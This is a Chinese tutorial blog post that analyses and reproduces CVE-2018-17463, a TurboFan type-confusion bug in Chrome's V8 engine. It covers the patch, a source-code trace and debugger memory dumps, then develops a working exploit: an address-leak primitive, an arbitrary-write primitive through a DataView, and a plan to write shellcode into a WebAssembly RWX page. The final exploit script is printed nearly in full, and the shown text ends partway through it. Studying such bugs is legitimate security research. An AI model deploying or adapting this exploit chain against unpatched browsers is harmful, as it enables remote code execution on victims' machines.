本文章首发于看雪论坛,链接如下:
(https://bbs.pediy.com/thread-274865.htm)
本文为CVE-2018-17463的分析以及复现,CVE-2018-17463是一个由于TurboFan优化所产生的漏洞,因为我也是刚接触浏览器这方面不久,是个新手,也是第一次复现真实环境中的漏洞,所以我会尽可能的把分析的过程以及自己在复现过程中遇到的问题写清楚,希望能够帮助到和我一样刚入门的师傅。
这个漏洞在Chrome Bug的网页上,有很多的相关信息,我们可以在其中找到存在漏洞的版本,可以看到相关的PoC,为我们的复现做准备,这里放一下链接(第一次复现不了解,当时找链接找了半天):
基础的V8调试环境的搭建这里就不再赘述了,需要的师傅可以参考我博客里的这一篇文章:v8调试环境搭建,讲的是Ubuntu22.04
下的环境搭建。
用如下命令先切换到漏洞所在的版本并编译v8:
git checkout 568979f4d891bafec875fab20f608ff9392f4f29
./tools/dev/v8gen.py x64.debug -vv
ninja -C out.gn/x64.debug
#如果需要release版本的话,把x64.debug换成x64.release即可,这里为了调试方便,我是用的debug版本
官方给出的PoC如下:
//poc.js
(function() {
function f(o) {
o.x;
Object.create(o);
return o.y.a;
}
f({ x : 0, y : { a : 1 } });
f({ x : 0, y : { a : 2 } });
%OptimizeFunctionOnNextCall(f);
assertEquals(3, f({ x : 0, y : { a : 3 } }));
})();
(function() {
function f(o) {
let a = o.y;
Object.create(o);
return o.x + a;
}
f({ x : 42, y : 21 });
f({ x : 42, y : 21 });
%OptimizeFunctionOnNextCall(f);
assertEquals(63, f({ x : 42, y : 21 }));
})();
这里首先创建了一个名为f
的函数,其中参数o是一个对象,在函数中调用了Object.Create(o)
,并返回o.y.a
,Object.create(o)
会以其中的参数o为原型,再创建出一个对象并返回,但是这里并没有接收返回值,说明返回的对象并不是重点。接下来调用了两次f
函数,然后通过%OptimizeFunctionOnNextCall
来触发优化,最后再次调用f
函数,并判断返回值是否与3
相等。
根据传入的参数可以看出,在f
函数并未修改o.y.a
的值的情况下,最后一次调用f
函数,返回的应该是3,说明这里由于某种原因o.y.a
的值被改变了,而在PoC中,只调用了Object.create
,那么很明显正是这个函数直接或间接引起了值的改变。
根据官方给出的补丁:
@@ -622,7 +622,7 @@
V(CreateKeyValueArray, Operator::kEliminatable, 2, 1) \
V(CreatePromise, Operator::kEliminatable, 0, 1) \
V(CreateTypedArray, Operator::kNoProperties, 5, 1) \
- V(CreateObject, Operator::kNoWrite, 1, 1) \
+ V(CreateObject, Operator::kNoProperties, 1, 1) \
V(ObjectIsArray, Operator::kNoProperties, 1, 1) \
V(HasProperty, Operator::kNoProperties, 2, 1) \
V(HasInPrototypeChain, Operator::kNoProperties, 2, 1) \
补丁中可以看出,用kNoProperties
代替了kNoWrite
,那么为了了解kNoWrite
是个啥,我们需要在源码中进行查看,在operator.h
文件中,我们可以发现kNoWrite
定义在一个枚举类型中:
//operator.h
enum Property {
kNoProperties = 0,
kCommutative = 1 << 0, // OP(a, b) == OP(b, a) for all inputs.
kAssociative = 1 << 1, // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
kIdempotent = 1 << 2, // OP(a); OP(a) == OP(a).
kNoRead = 1 << 3, // Has no scheduling dependency on Effects
kNoWrite = 1 << 4, // Does not modify any Effects and thereby
// create new scheduling dependencies.
kNoThrow = 1 << 5, // Can never generate an exception.
kNoDeopt = 1 << 6, // Can never generate an eager deoptimization exit.
kFoldable = kNoRead | kNoWrite,
kKontrol = kNoDeopt | kFoldable | kNoThrow,
kEliminatable = kNoDeopt | kNoWrite | kNoThrow,
kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent
};
其中kNoWrite
的注释的大致意思是:不会产生副作用而创造出一个新的依赖项,根据前面的PoC文件,我们可以看出,简单的调用Object.create()
并不会导致值的改变,但当优化之后,值却改变了,再根据补丁文件可以看出CreateObject
这个函数被kNoWrite
所标记,所以我们可以猜测出CreateObject
被认为是不会产生副作用的,为了进一步了解发生了什么,我们需要借助一个工具:Turbolizer
。。
通过增加参数来生成Turbolizer
所需要的文件:
../../out.gn/x64.debug/d8 poc.js --allow-natives-syntax --trace-turbo
然后运行Turbolizer:
python -m SimpleHTTPServer
将生成的json文件打开就行了,经过观察以后发现,CreateObject节点在generic lowering阶段,变为了Call:
鼠标放上去就能看见这里用CreateObjectWithoutProporties
来代替了原本的JSCreateObject
函数,那么我们继续查看源码(由于本人水平有限,源码阅读部分的分析大多是参考的参考文章中的描述)。
在builtins-object-gen.cc
中:
TF_BUILTIN(CreateObjectWithoutProperties, ObjectBuiltinsAssembler) {
Node* const prototype = Parameter(Descriptor::kPrototypeArg);
Node* const context = Parameter(Descriptor::kContext);
Node* const native_context = LoadNativeContext(context);
Label call_runtime(this, Label::kDeferred), prototype_null(this),
prototype_jsreceiver(this);
{
Comment("Argument check: prototype");
GotoIf(IsNull(prototype), &prototype_null);
BranchIfJSReceiver(prototype, &prototype_jsreceiver, &call_runtime);
}
..........
BIND(&call_runtime);
{
Comment("Call Runtime (prototype is not null/jsreceiver)");
Node* result = CallRuntime(Runtime::kObjectCreate, context, prototype,
UndefinedConstant());
Return(result);
}
}
从源码中可以看出,call_runtime
函数实际上又调用了另一个Runtime::kObjecrCreate
函数,它的源码在runtime-object.cc
中:
RUNTIME_FUNCTION(Runtime_ObjectCreate) {
HandleScope scope(isolate);
Handle<Object> prototype = args.at(0);
Handle<Object> properties = args.at(1);
Handle<JSObject> obj;
// 1. If Type(O) is neither Object nor Null, throw a TypeError exception.
if (!prototype->IsNull(isolate) && !prototype->IsJSReceiver()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kProtoObjectOrNull, prototype));
}
// 2. Let obj be ObjectCreate(O).
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, obj, JSObject::ObjectCreate(isolate, prototype));
// 3. If Properties is not undefined, then
if (!properties->IsUndefined(isolate)) {
// a. Return ? ObjectDefineProperties(obj, Properties).
// Define the properties if properties was specified and is not undefined.
RETURN_RESULT_OR_FAILURE(
isolate, JSReceiver::DefineProperties(isolate, obj, properties));
}
// 4. Return obj.
return *obj;
}
可以看到,当O的类型是一个Object或者Null的时候,就会调用JSObject::ObjectCreate
,他的位置在源码中的objects.cc
:
// 9.1.12 ObjectCreate ( proto [ , internalSlotsList ] )
// Notice: This is NOT 19.1.2.2 Object.create ( O, Properties )
MaybeHandle<JSObject> JSObject::ObjectCreate(Isolate* isolate,
Handle<Object> prototype) {
// Generate the map with the specified {prototype} based on the Object
// function's initial map from the current native context.
// TODO(bmeurer): Use a dedicated cache for Object.create; think about
// slack tracking for Object.create.
Handle<Map> map =
Map::GetObjectCreateMap(isolate, Handle<HeapObject>::cast(prototype));
// Actually allocate the object.
Handle<JSObject> object;
if (map->is_dictionary_map()) {
object = isolate->factory()->NewSlowJSObjectFromMap(map);
} else {
object = isolate->factory()->NewJSObjectFromMap(map);
}
return object;
}
可以看出,这段代码首先获取了Map,并根据Map的类型来选择调用NewSlowJSObjectFromMap
或者NewJSObjectFromMap
,我们跟进GetObjectCreateMap
函数中继续观察:
Handle<Map> Map::GetObjectCreateMap(Isolate* isolate,
Handle<HeapObject> prototype) {
Handle<Map> map(isolate->native_context()->object_function()->initial_map(),
isolate);
if (map->prototype() == *prototype) return map;
if (prototype->IsNull(isolate)) {
return isolate->slow_object_with_null_prototype_map();
}
if (prototype->IsJSObject()) {
Handle<JSObject> js_prototype = Handle<JSObject>::cast(prototype);
if (!js_prototype->map()->is_prototype_map()) {
JSObject::OptimizeAsPrototype(js_prototype);
}
Handle<PrototypeInfo> info =
Map::GetOrCreatePrototypeInfo(js_prototype, isolate);
// TODO(verwaest): Use inobject slack tracking for this map.
if (info->HasObjectCreateMap()) {
map = handle(info->ObjectCreateMap(), isolate);
} else {
map = Map::CopyInitialMap(isolate, map);
Map::SetPrototype(isolate, map, prototype);
PrototypeInfo::SetObjectCreateMap(info, map);
}
return map;
}
return Map::TransitionToPrototype(isolate, map, prototype);
}
这里如果满足prototype->IsJSObject()
并且如果!js_prototype->map()->is_prototype_map()
,那么将会调用优化函数JSObject::OptimizeAsPrototype
来进行优化,我们继续跟进源码看:
void JSObject::OptimizeAsPrototype(Handle<JSObject> object,
bool enable_setup_mode) {
if (object->IsJSGlobalObject()) return;
if (enable_setup_mode && PrototypeBenefitsFromNormalization(object)) {
// First normalize to ensure all JSFunctions are DATA_CONSTANT.
JSObject::NormalizeProperties(object, KEEP_INOBJECT_PROPERTIES, 0,
"NormalizeAsPrototype");
}
if (object->map()->is_prototype_map()) {
if (object->map()->should_be_fast_prototype_map() &&
!object->HasFastProperties()) {
JSObject::MigrateSlowToFast(object, 0, "OptimizeAsPrototype");
}
} else {
Handle<Map> new_map = Map::Copy(object->GetIsolate(),
handle(object->map(), object->GetIsolate()),
"CopyAsPrototype");
JSObject::MigrateToMap(object, new_map);
object->map()->set_is_prototype_map(true);
// Replace the pointer to the exact constructor with the Object function
// from the same context if undetectable from JS. This is to avoid keeping
// memory alive unnecessarily.
Object* maybe_constructor = object->map()->GetConstructor();
if (maybe_constructor->IsJSFunction()) {
JSFunction* constructor = JSFunction::cast(maybe_constructor);
if (!constructor->shared()->IsApiFunction()) {
Context* context = constructor->context()->native_context();
JSFunction* object_function = context->object_function();
object->map()->SetConstructor(object_function);
}
}
}
}
这里可以看见,如果enable_setup_mode
为真,并且PrototypeBenefitsFromNormalization()
的返回值也为真的话,将会调用 JSObject::NormalizeProperties
,其中关于PrototypeBenefitsFromNormalization
的判断可以看见,我们的对象需要拥有FastProperties并且满足下面的一些条件即可:
static bool PrototypeBenefitsFromNormalization(Handle<JSObject> object) {
DisallowHeapAllocation no_gc;
if (!object->HasFastProperties()) return false;
if (object->IsJSGlobalProxy()) return false;
if (object->GetIsolate()->bootstrapper()->IsActive()) return false;
return !object->map()->is_prototype_map() ||
!object->map()->should_be_fast_prototype_map();
}
我们继续跟进NormalizeProperties
来看看到底发生了什么,源码如下:
void JSObject::NormalizeProperties(Handle<JSObject> object,
PropertyNormalizationMode mode,
int expected_additional_properties,
const char* reason) {
if (!object->HasFastProperties()) return;
Handle<Map> map(object->map(), object->GetIsolate());
Handle<Map> new_map = Map::Normalize(object->GetIsolate(), map, mode, reason);
MigrateToMap(object, new_map, expected_additional_properties);
}
可以看见,该函数会根据现有的map通过Map::Normalize
生成一个新的new_map,那么我们前面讲过,CreateObject被kNoWrite
所标记,被认为是不会产生副作用的,但是在这里,如果new_map与map不一致,就会产生副作用,我们继续跟进Map::Normalize
看看是否改变了Map:
Handle<Map> Map::Normalize(Isolate* isolate, Handle<Map> fast_map,
PropertyNormalizationMode mode, const char* reason) {
DCHECK(!fast_map->is_dictionary_map());
Handle<Object> maybe_cache(isolate->native_context()->normalized_map_cache(),
isolate);
bool use_cache =
!fast_map->is_prototype_map() && !maybe_cache->IsUndefined(isolate);
Handle<NormalizedMapCache> cache;
if (use_cache) cache = Handle<NormalizedMapCache>::cast(maybe_cache);
Handle<Map> new_map;
if (use_cache && cache->Get(fast_map, mode).ToHandle(&new_map)) {
#ifdef VERIFY_HEAP
if (FLAG_verify_heap) new_map->DictionaryMapVerify(isolate);
#endif
#ifdef ENABLE_SLOW_DCHECKS
if (FLAG_enable_slow_asserts) {
// The cached map should match newly created normalized map bit-by-bit,
// except for the code cache, which can contain some ICs which can be
// applied to the shared map, dependent code and weak cell cache.
Handle<Map> fresh = Map::CopyNormalized(isolate, fast_map, mode);
if (new_map->is_prototype_map()) {
// For prototype maps, the PrototypeInfo is not copied.
DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address()),
reinterpret_cast<void*>(new_map->address()),
kTransitionsOrPrototypeInfoOffset));
DCHECK_EQ(fresh->raw_transitions(),
MaybeObject::FromObject(Smi::kZero));
STATIC_ASSERT(kDescriptorsOffset ==
kTransitionsOrPrototypeInfoOffset + kPointerSize);
DCHECK_EQ(0, memcmp(HeapObject::RawField(*fresh, kDescriptorsOffset),
HeapObject::RawField(*new_map, kDescriptorsOffset),
kDependentCodeOffset - kDescriptorsOffset));
} else {
DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address()),
reinterpret_cast<void*>(new_map->address()),
Map::kDependentCodeOffset));
}
STATIC_ASSERT(Map::kPrototypeValidityCellOffset ==
Map::kDependentCodeOffset + kPointerSize);
int offset = Map::kPrototypeValidityCellOffset + kPointerSize;
DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address() + offset),
reinterpret_cast<void*>(new_map->address() + offset),
Map::kSize - offset));
}
#endif
} else {
new_map = Map::CopyNormalized(isolate, fast_map, mode);
if (use_cache) {
cache->Set(fast_map, new_map);
isolate->counters()->maps_normalized()->Increment();
}
if (FLAG_trace_maps) {
LOG(isolate, MapEvent("Normalize", *fast_map, *new_map, reason));
}
}
fast_map->NotifyLeafMapLayoutChange(isolate);
return new_map;
}
当不满足条件:use_cache && cache->Get(fast_map, mode).ToHandle(&new_map)
时,将会产生新的Map: new_map = Map::CopyNormalized(isolate, fast_map, mode);
,这里use_cache我个人猜测应该是检索是否已有的Map,因为在v8中,Map不被使用时,通常不会被直接移除,因为可能会在后面使用,我们继续跟进CopyNormalized
,来看看map是否变化:
Handle<Map> Map::CopyNormalized(Isolate* isolate, Handle<Map> map,
PropertyNormalizationMode mode) {
int new_instance_size = map->instance_size();
if (mode == CLEAR_INOBJECT_PROPERTIES) {
new_instance_size -= map->GetInObjectProperties() * kPointerSize;
}
Handle<Map> result = RawCopy(
isolate, map, new_instance_size,
mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties());
// Clear the unused_property_fields explicitly as this field should not
// be accessed for normalized maps.
result->SetInObjectUnusedPropertyFields(0);
result->set_is_dictionary_map(true);
result->set_is_migration_target(false);
result->set_may_have_interesting_symbols(true);
result->set_construction_counter(kNoSlackTracking);
#ifdef VERIFY_HEAP
if (FLAG_verify_heap) result->DictionaryMapVerify(isolate);
#endif
return result;
}
可以看见其中调用了RawCopy函数,并且我们可以看见其中存在一个result->set_is_dictionary_map(true);
,我们跟进这个函数去看看:
void Map::set_is_dictionary_map(bool value) {
uint32_t new_bit_field3 = IsDictionaryMapBit::update(bit_field3(), value);
new_bit_field3 = IsUnstableBit::update(new_bit_field3, value);
set_bit_field3(new_bit_field3);
}
这个函数调用了Update,将Map更新为dictionary map
,那么很显然,CreateObject函数并不是kNoWrite
的,那么漏洞为什么会出现也很清楚了:当调用Object.create
时,然后由于错误的被标识为kNoWrite
,并且在优化过程中被替换为CreateObjectWithoutProperties
,又由于优化过程中省略了一系列的检查,没有探测到Map的改变,从而导致了漏洞的产生。
由于优化过程中,JSCreateObject
被认为是kNoWrite
的,所以只要我们先访问一次对象的某一个元素,在接下来访问另一次时,将会由于优化省略了CheckMap
这一步,导致仍然按照原来的偏移去取值,导致取出的值并不是真正的值,我们可以构造如下代码:
//myPoc.js
function triggerVul(obj){
obj.x;
Object.create(obj);
return obj.y;
}
var obj = {"x":11};
obj.y = 22;
triggerVul(obj);
triggerVul(obj);
for(let i = 0;i<10000;i++){
var obj = {"x":11};
obj.y = 22;
var result = triggerVul(obj);
if(result!=22){
console.log("\033[32m[!] Vul has been triggered!\033[0m");
break;
}
}
成功触发漏洞:
我们首先写一段测试代码来观察一下Object.create
前后的内存布局:
//test.js
var obj = {"a":1,"b":2};
obj.c=11;
obj.d=22;
%DebugPrint(obj);
Object.create(obj);
%DebugPrint(obj);
%SystemBreak();
使用命令:
gdb ./d8
set args --allow-natives-syntax ./test.js
r
这时可以看见obj对象在内存中的布局如下:
第一次DebugPrint:
0x1866d7b8e1b1: [JS_OBJECT_TYPE]
- map: 0x181a3138ca71 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x03ce280846d9 <Object map = 0x181a313822f1>
- elements: 0x108cb1b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1866d7b8e2c9 <PropertyArray[3]> {
#a: 1 (data field 0)
#b: 2 (data field 1)
#c: 11 (data field 2) properties[0]
#d: 22 (data field 3) properties[1]
}
第二次DebugPrint:
0x1866d7b8e1b1: [JS_OBJECT_TYPE]
- map: 0x181a3138cb11 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x03ce280846d9 <Object map = 0x181a313822f1>
- elements: 0x108cb1b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1866d7b8e371 <NameDictionary[53]> {
#d: 22 (data, dict_index: 4, attrs: [WEC])
#a: 1 (data, dict_index: 1, attrs: [WEC])
#b: 2 (data, dict_index: 2, attrs: [WEC])
#c: 11 (data, dict_index: 3, attrs: [WEC])
}
这里我们可以很清楚的看见map从FastProperties
变为了DictionaryProperties
,学过基础知识的应该知道FastProperties
模式的值,是直接存储在结构体中的,而DictionaryProperties
模式的值,则是存储在一张hash表中的,我们可以查看DictionaryProperties
模式的内存结构如下:
0x1866d7b8e371: [ObjectHashTable]
- map: 0x108cb1b83669 <Map>
- length: 53
- elements: 4
- deleted: 0
- capacity: 16
- elements: {
0: 5 -> 0
1: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
2: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
3: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
4: 0x33fa0db050a1 <String[1]: d> -> 22
5: 1216 -> 0x03ce280a2991 <String[1]: a>
6: 1 -> 448
7: 0x03ce280a29a9 <String[1]: b> -> 2
8: 704 -> 0x108cb1b825a1 <undefined>
9: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
10: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
11: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
12: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
13: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
14: 0x108cb1b825a1 <undefined> -> 0x33fa0db068c9 <String[1]: c>
15: 11 -> 960
}
可以看见,hash表的排列是以0x10个字节为单位的,前0x8是名字,后0x8是名字,并且在测试过程中可以发现,由于随机化的影响,hash表每次的排列都是不同的既相同元素的偏移每次都不一样,这里怎么办我们后面再来说。
我们先看一下按照原本的偏移,Properties中存储了c,d两个变量:
pwndbg> x/20gx 0x1866d7b8e2c9-1
0x1866d7b8e2c8: 0x0000108cb1b83899 0x0000000300000000
0x1866d7b8e2d8: 0x0000000b00000000 0x0000001600000000
0x1866d7b8e2e8: 0x0000108cb1b825a1 0x0000108cb1b82341
0x1866d7b8e2f8: 0x0000000e00000000 0x0000000400000000
0x1866d7b8e308: 0x0000108cb1b846f9 0x000003ce280a2991
0x1866d7b8e318: 0x0000014000000000 0x0000000100000000
0x1866d7b8e328: 0x000003ce280a29a9 0x0010054000000000
0x1866d7b8e338: 0x0000000100000000 0x000033fa0db068c9
0x1866d7b8e348: 0x0020094000000000 0x0000000100000000
0x1866d7b8e358: 0x000033fa0db050a1 0x00300d4000000000
可以看见,在0x8和0x10偏移的位置分别放了c,d的值,那么当他转换为hash表存储时,理论上来说,只要数据够多,原来的偏移处,一定会存在一个新的数据,假如新的数据的属性名为x,原来的数据名为y,那么当出现上述情况时,我们对y操作,实际上就是在对x操作,可以达到类型混淆的效果,那么我们通过以下代码创建多个属性并寻找相应的x与y(这段计算x与y的代码,参考自参考文章,因为我的代码不知道为啥一直算不出来):
function create(){
var obj = {a:123};
for(let i = 0;i<30;i++){
eval(`obj.${'b'+i} = 456-i`);
}
return obj;
}
let obj_array=[];
/*function triggerVul(obj){
obj.a;
this.Object.create(obj);
eval(`
${find_obj.map((b) => `let ${b} = obj.${b};`).join('\n')}
`);
}*/
function find(){
for (let i = 0;i<40;i++){
obj_array[i] = 'b'+i;
}
eval(`
function triggerVul(obj){
obj.a;
this.Object.create(obj);
${obj_array.map(
(b) => `let ${b} = obj.${b};`
).join('\n')}
return [${obj_array.join(', ')}];
}
`);
for(let i = 0;i<10000;i++){
let obj = create();
let array = triggerVul(obj);
for(let j = 0;j<array.length;j++){
if(array[j]!=456-j&&array[j]<456&&array[j]>(456-39)){
console.log("\033[1;32m[*] find two : \033[0m"+'b'+j+" and "+'b'+(456-array[j]));
return ['b'+j , 'b' + (456-array[j])];
}
}
}
}
find();
这里解释一下这段代码,首先按照规律:456-i的规律为每个属性bi赋值,然后将值存入数组obj_array中,然后开始循环,外层循环是为了触发优化,内层循环则是比较每一次obj.bi的值是否改变,如果改变了,则j
以及456-array[j]
即是我们需要找到x与y。
当我们找到x与y后,我们可以通过另一个规律:不同对象的相同属性名的属性在hash表中的位置是一致的来解决hash会变化的问题,我们来创建两个具有相同属性名的对象,来观察他们在内存中的结构:
var obj1 = {a:1,b:2,c:3};
obj1.d = 4;
var obj2 = {a:5,b:6,c:7};
obj2.d = 8;
Object.create(obj1);
Object.create(obj2);
%DebugPrint(obj1);
%DebugPrint(obj2);
%SystemBreak();
在gdb中跑起来之后,我们可以用job
命令来查看他们的hash表结构:
obj1:
0x32d124d8e401: [ObjectHashTable]
- map: 0x236b46483669 <Map>
- length: 53
- elements: 4
- deleted: 0
- capacity: 16
- elements: {
0: 5 -> 0
1: 0x201e9c6a2991 <String[1]: a> -> 1
2: 448 -> 0x236b464825a1 <undefined>
3: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
4: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
5: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
6: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
7: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
8: 0x236b464825a1 <undefined> -> 0x0bbcf4f050a1 <String[1]: d>
9: 4 -> 1216
10: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
11: 0x236b464825a1 <undefined> -> 0x0bbcf4f068c9 <String[1]: c>
12: 3 -> 960
13: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
14: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
15: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
}
obj2:
0x32d124d8e5f1: [ObjectHashTable]
- map: 0x236b46483669 <Map>
- length: 53
- elements: 4
- deleted: 0
- capacity: 16
- elements: {
0: 5 -> 0
1: 0x201e9c6a2991 <String[1]: a> -> 5
2: 448 -> 0x236b464825a1 <undefined>
3: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
4: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
5: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
6: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
7: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
8: 0x236b464825a1 <undefined> -> 0x0bbcf4f050a1 <String[1]: d>
9: 8 -> 1216
10: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
11: 0x236b464825a1 <undefined> -> 0x0bbcf4f068c9 <String[1]: c>
12: 7 -> 960
13: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
14: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
15: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
}
我们可以观察到,虽然obj1与obj2是两个不同的对象,但是他们相同名字的属性在hash表中的偏移却是相同的,那么根据我们上面找到的x与y,我们就可以创建另一个对象new_obj
,并根据x与y来对new_obj
进行类型混淆,达到泄露地址的目的,我们先写出泄露地址的原语:
let C1 = 0;
let C2 = 0;
function leak_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = 456;`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:1.1,c11:2.2};`);
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
}
}
return obj;
}
function leak(target){
eval(`
function triggerVul(target)
{
target.a;
this.Object.create(target);
return target.${C1}.c10;
}
`);
for(let i = 0; i<10000; i++){
var obj = leak_obj_create(target);
var leak_addr = triggerVul(obj);
if(leak_addr!=1.1&&leak_addr!=456&&leak_addr!=undefined){
console.log("\033[1;32m[*] target addr is leaked: \033[0m 0x" + (f_to_i(leak_addr)));
return f_to_i(leak_addr);
}
}
}
[C1,C2] = find();
var buffer = new ArrayBuffer(0x100);
leak(buffer);
其中C1,C2就是我们找出的x与y,我们先通过与之前一样的方式为一个对象添加大量属性,与之前不同的是,我们在C1加入属性c10,c11,并向C2中的c20存入一个对象,这样在我们返回C1.c10时,就会把C2.c20处存储的对象的地址作为浮点数返回,造成地址泄露。这里说一下为什么要以Obj.c2={c20:target}
这种方式放入,因为如果直接放,我们泄露出来的并不是这个对象的地址,而是他的Map,这里可以自己调试一下看看就能明白。
然后我们需要任意地址写入,方法与leak差不多,只是我们在创建时,不能obj.C1 = {c11:1.1,c12:2.2}
这样了,因为我们写是需要些对象的某个元素写入,那么我们可以按照如下方法构造:
obj.C1 = {c10:{c11:1.1,c12:2.2}};
obj.C2 = {c20:target};
这样让obj.C1.c10
对应obj.C2.c20
,那么我们操作c10的元素,就可以实现对target的属性的操作,而我们希望操作的是DataView
的backing store
,这样就可以利用dataview实现任意地址写,代码如下:
function write_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = {};`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:{c11:1.1,c12:2.2}};`);
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
}
}
return obj;
}
function write(target,data){
eval(`
function triggerVul(target,data){
target.a;
this.Object.create(target);
let sign = target.${C1}.c10.c12;
target.${C1}.c10.c12 = (data);
return sign;
}
`);
for(let i = 0; i<10000; i++){
var obj = write_obj_create(target);
var sign = triggerVul(obj,data);
if(sign!=2.2){
console.log("\033[1;32m[*] target addr has been write with data: \033[0m " + f_to_i(data));
return ;
}
}
console.log("\033[1;31m[!]Failed to Write Data! \033[0m ");
}
与前面任意地址读是差不多的,这时,我们就可以找到wasm的rwx
段,并向其中写入我们的shellcode了,先对wasm初始化:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm = wasmInstance.exports.main;
wasm();
wasmCode我是采用在线网站生成的:https://wasdk.github.io/WasmFiddle/,直接用它默认的那个`return 42就行,在初始化之后,我们需要找到
rwx`段所在的位置,这个调试慢慢找就行了,我这里给出我找到的路线:
wasmFunctionaddr
==>
SharedInfo
==>
WasmExportedFunctionData
==>
Instance
==>
Instance+0xe8+0x8(直接vmmap看就能发现这里是有rwx权限的)
然后利用dataview写入shellcode就可以了。
最终exp如下:
var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var i32 = new Uint32Array(buf);
function f_to_i(target)
{
f64[0] = target;
let tmp = Array.from(i32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i_to_f(target)
{
let tmp = [];
tmp[0] = parseInt(target % 0x100000000);
tmp[1] = parseInt((target-tmp[0]) / 0x100000000);
i32.set(tmp);
return f64[0];
}
function hex(target){
return target.toString(16).padStart(16,"0");
}
function gc()
{
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
function create(){
var obj = {a:123};
for(let i = 0;i<30;i++){
eval(`obj.${'b'+i} = 456-i`);
}
return obj;
}
let obj_array=[];
/*function triggerVul(obj){
obj.a;
this.Object.create(obj);
eval(`
${find_obj.map((b) => `let ${b} = obj.${b};`).join('\n')}
`);
}*/
function find(){
for (let i = 0;i<40;i++){
obj_array[i] = 'b'+i;
}
eval(`
function triggerVul(obj){
obj.a;
this.Object.create(obj);
${obj_array.map(
(b) => `let ${b} = obj.${b};`
).join('\n')}
return [${obj_array.join(', ')}];
}
`);
for(let i = 0;i<10000;i++){
let obj = create();
let array = triggerVul(obj);
for(let j = 0;j<array.length;j++){
if(array[j]!=456-j&&array[j]<456&&array[j]>(456-39)){
console.log("\033[1;32m[*] find two : \033[0m"+'b'+j+" and "+'b'+(456-array[j]));
return ['b'+j , 'b' + (456-array[j])];
}
}
}
}
let C1 = 0;
let C2 = 0;
function leak_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = 1.1;`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:1.1,c11:2.2};`);
//eval(`obj.${C1} = 1.1;`)
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
//eval(`obj.${C2} = target;`)
}
}
return obj;
}
function leak(target){
eval(`
function triggerVul(target)
{
target.a;
this.Object.create(target);
return target.${C1}.c10;
}
`);
for(let i = 0; i<10000; i++){
var obj = leak_obj_create(target);
var leak_addr = triggerVul(obj);
if(leak_addr!=1.1&&leak_addr!=undefined){
console.log("\033[1;32m[*] target addr is leaked: \033[0m " + (f_to_i(leak_addr)));
return f_to_i(leak_addr);
}
}
}
function write_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = {};`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:{c11:1.1,c12:2.2}};`);
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
}
}
return obj;
}
function write(target,data){
eval(`
